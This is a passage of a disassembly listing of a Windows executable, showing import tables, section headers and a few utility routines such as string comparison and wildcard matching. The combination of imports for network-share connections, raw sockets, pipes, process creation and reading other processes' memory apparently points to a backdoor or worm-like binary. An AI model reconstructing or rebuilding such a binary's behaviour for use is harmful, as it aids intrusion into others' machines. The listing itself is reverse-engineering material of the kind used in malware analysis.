sub_41786C+BCr ; _0:0043AB0Ar dword_4F52D8 dd 77E6BD68h ; DATA XREF: sub_439F20+2C5r ; _0:0043ACE4r dword_4F52DC dd 77E77F2Eh ; DATA XREF: sub_439AD0+41r ; sub_439AD0+3DAr ... dword_4F52E0 dd 77E762D0h ; DATA XREF: sub_439AD0+69r ; sub_439AD0+D9r ... dword_4F52E4 dd 77E78723h ; DATA XREF: sub_439780+37r ; sub_439780+8Br ... dword_4F52E8 dd 77E70192h ; DATA XREF: sub_435EC0+1D8r ; _0:0043ACCCr dword_4F52EC dd 77E79C94h ; DATA XREF: sub_4357D0+12r ; _0:0043ACC6r dword_4F52F0 dd 77E6363Bh ; DATA XREF: sub_435140+7Ar ; sub_435530+53r ... dword_4F52F4 dd 77E75243h ; DATA XREF: sub_434EB0+142r ; _0:0043ACBAr dword_4F52F8 dd 77E752B8h ; DATA XREF: sub_434EB0+15Cr ; _0:0043ACB4r dword_4F52FC dd 77E7176Ch ; DATA XREF: sub_432FE0+Fr ; _0:0043ACAEr off_4F5300 dd offset sub_509C54 ; DATA XREF: sub_432F40+8r ; sub_432F60+9r ... dword_4F5304 dd 77E7C866h ; DATA XREF: sub_431210+3Cr ; sub_431210+19Er ... dword_4F5308 dd 77E641EBh ; DATA XREF: sub_431210+61r ; sub_431210+AAr ... dword_4F530C dd 77E73FF9h ; DATA XREF: sub_431130+7Fr ; _0:0043AC96r dword_4F5310 dd 77E7FF2Eh ; DATA XREF: sub_430D50+58r ; sub_430D50+66r ... dword_4F5314 dd 77E78406h ; DATA XREF: sub_42FB10+1E6r ; sub_42FB10+29Br ... dword_4F5318 dd 77E7C931h ; DATA XREF: sub_42FB10+31Ar ; _0:0043AC84r dword_4F531C dd 77E77EE1h ; DATA XREF: sub_42F8F0+1Dr ; sub_42F8F0+6Dr ... dword_4F5320 dd 77E67702h ; DATA XREF: sub_42F8F0:loc_42F928r ; sub_42F8F0+171r ... dword_4F5324 dd 77E7C9E1h ; DATA XREF: sub_42F8F0+108r ; sub_42F8F0+150r ... dword_4F5328 dd 77E9C5B1h ; DATA XREF: sub_42F8F0+1E6r ; sub_42F8F0+208r ... dword_4F532C dd 77EB9A84h ; DATA XREF: sub_42EFB0+37r ; _0:0043AC66r dword_4F5330 dd 77E781F9h ; DATA XREF: sub_42EC50+41r ; sub_42EC50+1A5r ... dword_4F5334 dd 77E77405h ; DATA XREF: sub_42EC50+69r ; sub_42EC50+C0r ... off_4F5338 dd offset sub_50A0C8 ; DATA XREF: sub_401300+DFr ; sub_401404+7Ar ... off_4F533C dd offset sub_50B3D5 ; DATA XREF: sub_401300+B8r ; sub_401404+2C9r ... dword_4F5340 dd 77E61BB8h ; DATA XREF: sub_401300+A7r ; sub_401404+2B1r ... off_4F5344 dd offset sub_50AA24 ; DATA XREF: sub_401300+83r ; sub_401404+DAr ... dword_4F5348 dd 77E704FCh ; DATA XREF: sub_401300+74r ; sub_401404+C4r ... dword_4F534C dd 77E61BE6h ; DATA XREF: sub_401300+29r ; sub_401404+1DEr ... dword_4F5350 dd 77E7AC37h ; DATA XREF: sub_401404+3ACr ; sub_401C87+785r ... dword_4F5354 dd 77E73628h ; DATA XREF: sub_401404+329r ; sub_401C87+7908r ... dword_4F5358 dd 77E706B7h ; DATA XREF: sub_401404+262r ; sub_417BC7+15r ... dword_4F535C dd 77E80656h ; DATA XREF: sub_401404+255r ; _0:0043A9F6r dword_4F5360 dd 77F5157Dh ; DATA XREF: sub_401404:loc_4015C6r ; sub_401404+3D1r ... dword_4F5364 dd 77E6BD13h ; DATA XREF: sub_401404:loc_4015BCr ; _0:0043AA02r dword_4F5368 dd 77E70396h ; DATA XREF: sub_401404+1B2r ; sub_401404+20Fr ... off_4F536C dd offset sub_50A7AF ; DATA XREF: sub_401404+19Br ; sub_40FFD8+10Fr ... off_4F5370 dd offset sub_50AF8C ; DATA XREF: sub_401404+D3r ; sub_409D10+2r ... dword_4F5374 dd 77E79D5Bh ; DATA XREF: sub_401404+6Br ; sub_401404+2FFr ... dword_4F5378 dd 77E7C2C4h ; DATA XREF: sub_401404+64r ; _0:0043AA20r dword_4F537C dd 77E7751Ah ; DATA XREF: sub_401404+2Cr ; sub_401C87+251Ar ... dword_4F5380 dd 77E75CEBh ; DATA XREF: sub_401C87+7B85r ; sub_40B7CC+27r ... dword_4F5384 dd 77E6AD34h ; DATA XREF: sub_401C87+6A47r ; sub_418EAE+35r ... dword_4F5388 dd 77E71AFEh ; DATA XREF: sub_401C87+6834r ; _0:0043AA38r off_4F538C dd offset sub_50AE83 ; DATA XREF: sub_409D10+13Ar ; sub_409D10:loc_40A21Er ... off_4F5390 dd offset sub_50B076 ; DATA XREF: sub_409D10+11r ; sub_41786C+60r ... dword_4F5394 dd 77E65F4Ch ; DATA XREF: _0:0040B0E8r ; sub_41A20B+34r ... dword_4F5398 dd 77E7513Ch ; DATA XREF: _0:0040B18Ar ; sub_434EB0+18r ... dword_4F539C dd 77E7C657h ; DATA XREF: _0:0040B1FEr ; sub_419036+32r ... dword_4F53A0 dd 77E73C49h ; DATA XREF: sub_40B6FC+4Ar ; sub_40BE20+1ACr ... dword_4F53A4 dd 77F7E300h ; DATA XREF: sub_40C87D+130r ; sub_422490+35r ... dword_4F53A8 dd 77F7E21Fh ; DATA XREF: sub_40C87D+C5r ; sub_422420+35r ... dword_4F53AC dd 77E7C706h ; DATA XREF: sub_40CA91+77r ; _0:0043AA6Er dword_4F53B0 dd 77F53275h ; DATA XREF: sub_40CA91+6Br ; sub_40CA91+241r ... dword_4F53B4 dd 77E79D8Ch ; DATA XREF: sub_40E1AD+94r ; sub_40E29B+17Dr ... dword_4F53B8 dd 77E737DEh ; DATA XREF: sub_40E29B+42Er ; _0:0043AA80r off_4F53BC dd offset sub_50B3FC ; DATA XREF: sub_40E29B+19Br ; sub_40E29B+48Dr ... off_4F53C0 dd offset sub_50B2B0 ; DATA XREF: sub_40E29B+A3r ; sub_40FFD8+1C3r ... dword_4F53C4 dd 77E616B4h ; DATA XREF: sub_40EE63+19Br ; sub_4115D0+119r ... dword_4F53C8 dd 77E79CE3h ; DATA XREF: sub_40EE63+111r ; sub_41181E+77r ... dword_4F53CC dd 77E79C90h ; DATA XREF: sub_40EE63+FDr ; sub_40EE63+10Ar ... dword_4F53D0 dd 77E7727Ah ; DATA XREF: sub_40EE63+74r ; sub_411725+23r ... dword_4F53D4 dd 77E64106h ; DATA XREF: sub_40FE5C+9Fr ; sub_41B6C1+1B6r ... dword_4F53D8 dd 77E64006h ; DATA XREF: sub_40FE5C+8Br ; sub_41B6C1+19Fr ... off_4F53DC dd offset sub_50A9EC ; DATA XREF: sub_40FFD8+1EDr ; sub_410908+38r ... off_4F53E0 dd offset sub_50A5FF ; DATA XREF: sub_410287+5EDr ; sub_41771E+BAr ... dword_4F53E4 dd 77E79424h ; DATA XREF: sub_410287+27Ar ; sub_417BC7+135r ... dword_4F53E8 dd 77E794BFh ; DATA XREF: sub_410287+26Cr ; sub_417BC7+123r ... off_4F53EC dd offset sub_50A626 ; DATA XREF: sub_410287+20Cr ; sub_410287+5DCr ... off_4F53F0 dd offset sub_50A334 ; DATA XREF: sub_410287+1FBr ; sub_41771E+26r ... off_4F53F4 dd offset sub_50B460 ; DATA XREF: sub_410908+6Cr ; sub_416788+259r ... dword_4F53F8 dd 77E76968h ; DATA XREF: sub_411349+5Fr ; _0:0043056Ar ... dword_4F53FC dd 77E74C59h ; DATA XREF: sub_4115D0+CBr ; _0:0043AAE6r dword_4F5400 dd 77EC7C51h ; DATA XREF: sub_411995+4Br ; _0:0043AAECr dword_4F5404 dd 77E70F89h ; DATA XREF: sub_4124E6+Er ; sub_415A3C+Dr ... dword_4F5408 dd 77E802FCh ; DATA XREF: sub_4133AE+18Cr ; sub_4133AE+2D4r ... dword_4F540C dd 77E6D75Bh ; DATA XREF: sub_4133AE+182r ; sub_414103+FFr ... off_4F5410 dd offset sub_50B18D ; DATA XREF: sub_41786C+170r ; sub_419229+C3r ... dword_4F5414 dd 77F51597h ; DATA XREF: sub_417A3E+41r ; sub_417A3E+F5r ... dword_4F5418 dd 77F516F8h ; DATA XREF: sub_417A3E+21r ; sub_417BC7+4Ar ... dword_4F541C dd 77E77CB7h ; DATA XREF: sub_417A3E+10r ; sub_417BC7+40r ... dword_4F5420 dd 77E7F01Ah ; DATA XREF: sub_417BC7+88r ; sub_417D6B+53r ... dword_4F5424 dd 77E61A54h ; DATA XREF: sub_417BC7+56r ; sub_417D6B+95r ... dword_4F5428 dd 77E7C3A5h ; DATA XREF: sub_417BC7+34r ; sub_417D6B+2Cr ... dword_4F542C dd 77E76A60h ; DATA XREF: sub_418C20+2Dr ; _0:0043AB34r dword_4F5430 dd 77E71B14h ; DATA XREF: sub_418CAA+26r ; _0:0043AB3Ar dword_4F5434 dd 77E7166Fh ; DATA XREF: sub_418CAA+1Dr ; _0:0043AB40r off_4F5438 dd offset sub_50B55B ; DATA XREF: sub_418CE5+6Cr ; _0:0043AB46r off_4F543C dd offset sub_50B51C ; DATA XREF: sub_418CE5+39r ; _0:0043AB4Cr off_4F5440 dd offset sub_50B4A4 ; DATA XREF: sub_418CE5+28r ; _0:0043AB52r dword_4F5444 dd 77E7011Ah ; DATA XREF: sub_418D6A+96r ; _0:0043AB58r dword_4F5448 dd 77E73CE2h ; DATA XREF: sub_418D6A+60r ; _0:0043AB5Er dword_4F544C dd 77E668D9h ; DATA XREF: sub_418EAE+15Dr ; _0:0043AB64r dword_4F5450 dd 77E79924h ; DATA XREF: sub_4197F6+13r ; sub_42EC50+2A5r ... dword_4F5454 dd 77E77CCEh ; DATA XREF: sub_4198C8+Fr ; sub_421F10+BFr ... dword_4F5458 dd 77E76A2Eh ; DATA XREF: sub_41A334+DEr ; _0:0043AB76r dword_4F545C dd 77E7FF65h ; DATA XREF: sub_41A798+5Ar ; _0:0043AB7Cr dword_4F5460 dd 77EB7624h ; DATA XREF: sub_41A798+3Dr ; _0:0043AB82r dword_4F5464 dd 77E6C29Dh ; DATA XREF: sub_41AE2B+1EFr ; _0:0043AB88r dword_4F5468 dd 77E76C1Ah ; DATA XREF: sub_41B6C1+1CFr ; _0:0043AB8Er dword_4F546C dd 77E73196h ; DATA XREF: sub_41D660+2Ar ; sub_4256F0+19r ... dword_4F5470 dd 77E7339Ch ; DATA XREF: sub_41D660+12r ; sub_432F80+13r ... dword_4F5474 dd 77E6C924h ; DATA XREF: sub_41D6B0+93r ; sub_41D6B0+102r ... dword_4F5478 dd 77F6183Eh ; DATA XREF: sub_43ABA6r dword_4F547C dd 77E76E3Dh ; DATA XREF: sub_420D80+9Fr ; sub_433090+5Er ... dword_4F5480 dd 77E61608h ; DATA XREF: sub_420D80+17r ; _0:0043ABB2r dword_4F5484 dd 77E778C5h ; DATA XREF: sub_421620+76r ; sub_421620+B6r ... dword_4F5488 dd 77E777EFh ; DATA XREF: sub_421620+62r ; sub_421C90+2Cr ... dword_4F548C dd 77E6177Ah ; DATA XREF: _0:004221E2r ; sub_42FB10+87r ... dword_4F5490 dd 77E7C938h ; DATA XREF: _0:004221B3r _0:0043ABCAr dword_4F5494 dd 77E7C486h ; DATA XREF: _0:00422126r _0:0043ABD0r dword_4F5498 dd 77EB36A5h ; DATA XREF: sub_422500+3r ; _0:0043ABD6r dword_4F549C dd 77E79C3Dh ; DATA XREF: _0:004225AEr _0:004225C8r ... dword_4F54A0 dd 77E9BD34h ; DATA XREF: sub_422610+102r ; sub_422610+2F3r ... dword_4F54A4 dd 77E79908h ; DATA XREF: sub_4231A0+9r ; sub_4231A0+16r ... dword_4F54A8 dd 77EB8503h ; DATA XREF: _0:00423349r _0:0043ABEEr dword_4F54AC dd 77F5722Fh ; DATA XREF: sub_423620+DAr ; sub_423620+1BBr ... dword_4F54B0 dd 77E79E34h ; DATA XREF: sub_4241B0+4A8r ; sub_4241B0+545r ... dword_4F54B4 dd 77E7980Ah ; DATA XREF: sub_424CD0+A3r ; sub_424DE0+A7r ... dword_4F54B8 dd 77E7AC5Eh ; DATA XREF: sub_426C90+5Fr ; _0:0043AC06r dword_4F54BC dd 77E76E0Bh ; DATA XREF: sub_426EC0+57r ; sub_426EC0+7Cr ... dword_4F54C0 dd 77E7C726h ; DATA XREF: sub_426EC0+14r ; _0:0043AC12r dword_4F54C4 dd 77E77CC4h ; DATA XREF: sub_428E00+64r ; sub_428EE0+66r ... dword_4F54C8 dd 77E79B39h ; DATA XREF: sub_428E00+4Ar ; sub_428EE0+50r ... dword_4F54CC dd 77E7C5B4h ; DATA XREF: sub_428E00+9r ; _0:0043AC24r dword_4F54D0 dd 77E72B29h ; DATA XREF: _0:00428EA7r _0:0043AC2Ar dword_4F54D4 dd 77F51587h ; DATA XREF: sub_428EE0+8Br ; _0:0043AC30r dword_4F54D8 dd 77E78B61h ; DATA XREF: sub_428EE0+15r ; _0:00428F9Cr ... dword_4F54DC dd 77E73163h ; DATA XREF: _0:004290A3r _0:0043AC3Cr dword_4F54E0 dd 77E7849Fh ; DATA XREF: sub_4290B0+1C7r ; sub_429560+17r ... dword_4F54E4 dd 77E7A13Fh ; DATA XREF: sub_429400+35r ; _0:0043AC48r dword_4F54E8 dd 77E6C703h ; DATA XREF: sub_429400+1Dr ; _0:0043AC4Er dword_4F54EC dd 77E6D706h ; DATA XREF: sub_42B610+35Ar ; _0:0043AC54r ... dd 0 dword_4F54F4 dd 71B2ACCBh ; DATA XREF: sub_43A936r dd 0 dword_4F54FC dd 71AB4122h ; DATA XREF: sub_4153D2+D4r ; _0:0043A9B4r dword_4F5500 dd 71AB1746h ; DATA XREF: sub_412F1F+1DEr ; sub_412F1F+1F0r ... dword_4F5504 dd 71AB401Ch ; DATA XREF: sub_412F1F+21Br ; _0:0043A9A8r dword_4F5508 dd 71AB1836h ; DATA XREF: sub_40F909+6Er ; sub_40F986+8Er ... dword_4F550C dd 71AB41DAh ; DATA XREF: sub_40F2F1+4Ar ; sub_40F909+15r ... dword_4F5510 dd 71AB3F8Dh ; DATA XREF: sub_40F2F1+5Ar ; _0:0043A996r dword_4F5514 dd 71AB155Ah ; DATA XREF: sub_40F2F1+8Dr ; sub_413F6A+6Er ... dword_4F5518 dd 71AB3ECEh ; DATA XREF: sub_40F2F1+B5r ; _0:0043A98Ar dword_4F551C dd 71AB5DE2h ; DATA XREF: sub_40F2F1+C9r ; _0:0043A984r dword_4F5520 dd 71AB868Dh ; DATA XREF: sub_40F2F1+16Fr ; _0:0043A97Er dword_4F5524 dd 71AB5A01h ; DATA XREF: sub_4154BB+20r ; _0:0043A9BAr dword_4F5528 dd 71AB12F8h ; DATA XREF: sub_40E794+27r ; sub_40E8D6+27r ... dword_4F552C dd 71AB1746h ; DATA XREF: sub_40E794+36r ; sub_40E8D6+36r ... dword_4F5530 dd 71AB3E5Dh ; DATA XREF: sub_40E794+59r ; sub_40E8D6+59r ... dword_4F5534 dd 71AB5690h ; DATA XREF: sub_40E794+6Ar ; sub_40E8D6+6Ar ... dword_4F5538 dd 71AB1A6Dh ; DATA XREF: sub_40E794+E0r ; sub_40E8D6+E0r ... dword_4F553C dd 71AB3C22h ; DATA XREF: _0:0040DAC8r ; sub_40E794+45r ... dword_4F5540 dd 71AB1AF4h ; DATA XREF: sub_40D746+12r ; sub_40E794+C3r ... dword_4F5544 dd 71AB1890h ; DATA XREF: sub_40D5A3+4Cr ; sub_40F2F1+106r ... dword_4F5548 dd 71AB1B7Bh ; DATA XREF: sub_43A942r dword_4F554C dd 71AB157Eh ; DATA XREF: sub_401C87+2F98r ; _0:0043A93Cr dword_4F5550 dd 71AB2BBFh ; DATA XREF: _0:0040E9D7r _0:0043A978r align 8 db 6 align 2 aWnetaddconne_1 db 'WNetAddConnection2A',0 aMpr_dll_0 db 'MPR.dll',0 aA_3 db 'A',0 aWsasocketa_0 db 'WSASocketA',0 align 4 aWs2_32_dll_0 db 'WS2_32.dll',0 align 10h db '',0 aExitprocess_0 db 'ExitProcess',0 a4_0 db '4',0 aClosehandle_0 db 'CloseHandle',0 aF db 'f',0 aCreateproces_0 db 'CreateProcessA',0 align 2 dw 17Dh aGetmodulefil_0 db 'GetModuleFileNameA',0 align 4 db 0C1h ; db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 356h aSleep_0 db 'Sleep',0 aO_0 db 'o',0 aCreatethread_0 db 'CreateThread',0 align 2 aG db '',0 aDeletefilea_0 db 'DeleteFileA',0 dd 704F0286h, 72506E65h, 7365636Fh, 1430073h aGetcurrentpr_1 db 'GetCurrentProcessId',0 db 71h ; q db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 aC_4 db 'C',0 aCopyfilea db 'CopyFileA',0 db 19h db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 15Eh aGetfileattri_2 db 'GetFileAttributesA',0 align 4 db 7Fh ; db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 10h db 90h db 3, 57h, 61h aItforsingleobj db 'itForSingleObject',0 db '`',0 aCreatemutexa db 'CreateMutexA',0 align 2 dw 1DFh aGettickcount_0 db 'GetTickCount',0 align 2 dw 35Fh aTerminatethrea db 'TerminateThread',0 dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h dd 6C61636Fh, 666E4965h, 416Fh, 654701E9h, 72655674h, 6E6F6973h dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h aLeavecritica_0 db 'LeaveCriticalSection',0 align 2 aS_30 db '',0 aEntercritica_0 db 'EnterCriticalSection',0 align 2 dw 224h aInitializecr_0 db 'InitializeCriticalSectionAndSpinCount',0 aB db '',0 aDeletecritic_0 db 'DeleteCriticalSection',0 dw 3A4h aWritefile_0 db 'WriteFile',0 aO_1 db 'O',0 aCreateeventa db 'CreateEventA',0 align 2 dw 2B5h aReadfile_1 db 'ReadFile',0 align 2 aS_31 db 'S',0 aCreatefilea_0 db 'CreateFileA',0 dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h dd 63696C70h, 48657461h, 6C646E61h, 1420065h aGetcurrentpr_2 db 'GetCurrentProcess',0 aE_0 db 'e',0 aCreatepipe db 'CreatePipe',0 align 4 dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h aFiletimetosyst db 'FileTimeToSystemTime',0 align 2 db '',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db '',0 aFindnextfile_0 db 'FindNextFileA',0 db '',0 aFindfirstfil_0 db 'FindFirstFileA',0 align 2 dw 31Bh aSetfilepoint_0 db 'SetFilePointer',0 align 4 db 0EEh ; db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 db 8Eh ; db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 0FCh aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 2 dw 173h aGetlocaltime db 'GetLocalTime',0 align 2 dw 2A3h aQueryperform_1 db 'QueryPerformanceCounter',0 db 0A4h ; db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 dd 724600F8h, 694C6565h, 72617262h, 1590079h aGetenvironme_0 db 'GetEnvironmentVariableW',0 db 16h db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 10h db 2, 48h, 65h aApalloc db 'apAlloc',0 db 0A3h ; db 1, 47h, 65h aTprocessheap db 'tProcessHeap',0 align 2 dw 389h aVirtualqueryex db 'VirtualQueryEx',0 align 4 db 0B8h ; db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h dd 5670614Dh, 4F776569h, 6C694666h, 540065h aCreatefilema_1 db 'CreateFileMappingA',0 align 10h db 1Fh db 3, 53h, 65h aTfiletime db 'tFileTime',0 dw 165h aGetfiletime_0 db 'GetFileTime',0 db '',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db 94h ; db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 275h aMultibytetow_0 db 'MultiByteToWideChar',0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 3, 6Ch, 73h aTrcmpia db 'trcmpiA',0 db 5Ah ; Z db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 291h aPeeknamedpipe db 'PeekNamedPipe',0 dw 178h aGetlogicaldr_0 db 'GetLogicalDrives',0 align 2 dw 204h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h db 36h ; 6 db 2, 49h, 73h aBadwriteptr db 'BadWritePtr',0 db 33h ; 3 db 2, 49h, 73h aBadreadptr db 'BadReadPtr',0 align 10h db 20h db 2, 48h, 65h aApvalidate db 'apValidate',0 align 10h db 0D7h ; db 2, 52h, 74h aLunwind db 'lUnwind',0 db 0E2h ; db 1, 47h, 65h aTtimezoneinfor db 'tTimeZoneInformation',0 align 2 dw 1C8h aGetsystemtime db 'GetSystemTime',0 dw 228h aInterlockeddec db 'InterlockedDecrement',0 align 2 dw 22Ch aInterlockedinc db 'InterlockedIncrement',0 align 2 dw 1B7h aGetstartupinfo db 'GetStartupInfoA',0 dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1E80041h dd 56746547h, 69737265h, 6E6Fh, 65440078h, 42677562h, 6B616572h dd 1B90000h, 53746547h, 61486474h, 656C646Eh, 28D0000h aOutputdebugstr db 'OutputDebugStringA',0 align 4 db 23h ; # db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 db '',0 aFatalappexita db 'FatalAppExitA',0 db 1Ah db 2, 48h, 65h aAprealloc db 'apReAlloc',0 dw 383h aVirtualfree_0 db 'VirtualFree',0 db 81h ; db 3, 56h, 69h aRtualalloc db 'rtualAlloc',0 align 4 db 58h ; X db 1, 47h, 65h aTenvironmentva db 'tEnvironmentVariableA',0 dw 214h aHeapdestroy db 'HeapDestroy',0 dd 65480212h, 72437061h, 65746165h, 1460000h aGetcurrentthre db 'GetCurrentThreadId',0 align 10h dd 6C540366h, 74655373h, 756C6156h, 3630065h, 41736C54h dd 636F6C6Ch, 3640000h, 46736C54h, 656572h, 65530328h dd 73614C74h, 72724574h, 726Fh, 6C540365h, 74654773h, 756C6156h dd 1450065h, 43746547h, 65727275h, 6854746Eh, 64616572h dd 1040000h, 43746547h, 666E4950h, 0FD006Fh, 41746547h dd 5043h, 65470193h, 4D454F74h, 5043h, 615202A7h, 45657369h dd 70656378h, 6E6F6974h, 2440000h, 614D434Ch, 72745370h dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h dd 36E0000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 dw 0F6h aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 0F7h ; align 2 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 155h aGetenvironme_1 db 'GetEnvironmentStrings',0 dw 157h aGetenvironme_2 db 'GetEnvironmentStringsW',0 align 4 db 24h ; $ db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 166h aGetfiletype db 'GetFileType',0 db 37h ; 7 db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 4 aU_0 db '',0 aFlushfilebuf_0 db 'FlushFileBuffers',0 align 10h db 0BAh ; db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1BDh aGetstringtypew db 'GetStringTypeW',0 align 4 db 4Ah ; J db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 230h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 241h aIsvalidlocale db 'IsValidLocale',0 dw 23Fh aIsvalidcodepag db 'IsValidCodePage',0 aP_0 db '',0 aEnumsystemloca db 'EnumSystemLocalesA',0 align 2 dw 1E3h aGetuserdefault db 'GetUserDefaultLCID',0 align 10h dd 65530310h, 646E4574h, 6946664Fh, 656Ch, 65470175h, 636F4C74h dd 49656C61h, 576F666Eh, 3A0000h, 706D6F43h, 53657261h dd 6E697274h, 4167h, 6F43003Bh, 7261706Dh, 72745365h, 57676E69h dd 3130000h aSetenvironme_0 db 'SetEnvironmentVariableA',0 aKernel32_dll_1 db 'KERNEL32.dll',0 db 0 _3 ends ; Section 5. (virtual address 000F6000) ; Virtual size : 0000510E ( 20750.) ; Section size in file : 0000510E ( 20750.) ; Offset to raw data for section: 000F6000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _4 segment para public 'CODE' use32 assume cs:_4 ;org 4F6000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dd 1443h dup(0) db 2 dup(0) _4 ends ; Section 6. (virtual address 000FC000) ; Virtual size : 00011ABF ( 72383.) ; Section size in file : 00011ABF ( 72383.) ; Offset to raw data for section: 000FC000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _5 segment para public 'CODE' use32 assume cs:_5 ;org 4FC000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC000 proc near ; CODE XREF: sub_4FF63E+84p ; sub_4FF94C+333p ... var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E2E0 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov esi, ecx mov [ebp+var_1C], esi lea eax, [esi+10h] push eax call ds:dword_50E01C ; RtlEnterCriticalSection and [ebp+var_4], 0 push [ebp+arg_4] push [ebp+arg_0] mov ecx, esi call sub_50B98E or [ebp+var_4], 0FFFFFFFFh call sub_4FC060 mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_4FC000 endp ; =============== S U B R O U T I N E ======================================= sub_4FC05D proc near ; DATA XREF: _6:0050E2E8o mov esi, [ebp-1Ch] sub_4FC05D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FC060 proc near ; CODE XREF: sub_4FC000+47p add esi, 10h push esi call ds:dword_50E018 ; RtlLeaveCriticalSection retn sub_4FC060 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC06B proc near ; CODE XREF: sub_4FF166+9Bp ; sub_4FF166+C4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_4] push edi test edx, edx jz short loc_4FC07D mov edi, [ebp+arg_0] test edi, edi jnz short loc_4FC081 loc_4FC07D: ; CODE XREF: sub_4FC06B+9j xor eax, eax jmp short loc_4FC0D3 ; --------------------------------------------------------------------------- loc_4FC081: ; CODE XREF: sub_4FC06B+10j cmp byte ptr [edx], 0 jnz short loc_4FC08F xor eax, eax cmp [edi], al setz al jmp short loc_4FC0D3 ; --------------------------------------------------------------------------- loc_4FC08F: ; CODE XREF: sub_4FC06B+19j push ebx push esi mov esi, offset dword_510BE4 mov eax, edi loc_4FC098: ; CODE XREF: sub_4FC06B+49j mov bl, [eax] mov cl, bl cmp bl, [esi] jnz short loc_4FC0BA test cl, cl jz short loc_4FC0B6 mov bl, [eax+1] mov cl, bl cmp bl, [esi+1] jnz short loc_4FC0BA inc eax inc eax inc esi inc esi test cl, cl jnz short loc_4FC098 loc_4FC0B6: ; CODE XREF: sub_4FC06B+37j xor eax, eax jmp short loc_4FC0BF ; --------------------------------------------------------------------------- loc_4FC0BA: ; CODE XREF: sub_4FC06B+33j ; sub_4FC06B+41j sbb eax, eax sbb eax, 0FFFFFFFFh loc_4FC0BF: ; CODE XREF: sub_4FC06B+4Dj pop esi pop ebx test eax, eax jnz short loc_4FC0CA mov edi, offset dword_510BE0 loc_4FC0CA: ; CODE XREF: sub_4FC06B+58j push edx push edi call sub_4FC0D6 pop ecx pop ecx loc_4FC0D3: ; CODE XREF: sub_4FC06B+14j ; sub_4FC06B+22j pop edi pop ebp retn sub_4FC06B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FC0D6 proc near ; CODE XREF: sub_4FC06B+61p ; sub_4FC0D6+70p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi mov esi, [ebp+arg_4] mov al, [ebx] push edi test al, al jz short loc_4FC120 loc_4FC0E8: ; CODE XREF: sub_4FC0D6+48j movsx edi, byte ptr [esi] movsx eax, al inc ebx cmp eax, 2Ah jz short loc_4FC130 cmp eax, 3Fh jz short loc_4FC115 push eax call sub_4FC86E mov edx, eax push edi mov [ebp+arg_4], edx call sub_4FC86E pop ecx pop ecx mov ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_4FC12C jmp short loc_4FC119 ; --------------------------------------------------------------------------- loc_4FC115: ; CODE XREF: sub_4FC0D6+21j test edi, edi jz short loc_4FC12C loc_4FC119: ; CODE XREF: sub_4FC0D6+3Dj mov al, [ebx] inc esi test al, al jnz short loc_4FC0E8 